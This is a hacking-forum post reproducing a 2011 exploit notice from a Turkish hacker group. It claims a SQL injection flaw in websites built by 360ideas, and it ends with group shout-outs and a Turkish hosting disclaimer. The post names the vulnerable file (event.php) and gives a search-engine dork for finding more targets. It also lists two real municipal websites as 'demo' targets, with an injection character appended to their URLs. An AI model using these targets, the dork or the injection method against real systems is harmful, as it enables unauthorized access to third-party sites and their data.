360ideas SQL Injection

!nFiNiTe

Kadim Üye
21 Şub 2011
5,915
3
Hell
PHP:
# Exploit Title: 360ideas Sql Injection Vulnerability
# Date: 30/10/2011 - 22:40
# Author: 3spi0n
# Software Website: http://www.360ideas.com/
# Tested On: BackTrack 5 - Win7 Ultimate
# Platform: Php

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[$] Vulnerable File: Event.php and other .php files.

[$] Dorks: "Site by 360ideas.com"

[$] Demo Sites:

[~] http://www.waukee.org/event.php?id=141" [PhpSQLi]
[~] http://www.highlandvillage.org/event.php?id=4" [PhpSQLi]

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# We attempted to work, you can not imagine.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Contact: Http://3spi0n.Net/

# Greetz: Http://DarkDevilz.in/

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Mr.PaPaRoSSe  Black_Umo  ALEXTRAX  Brs_BaRoN  ZyX   x-Leader
Legend Coder  DARKCOD3R  Santiq0   53rh4t     PerS  ExDeaTH

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.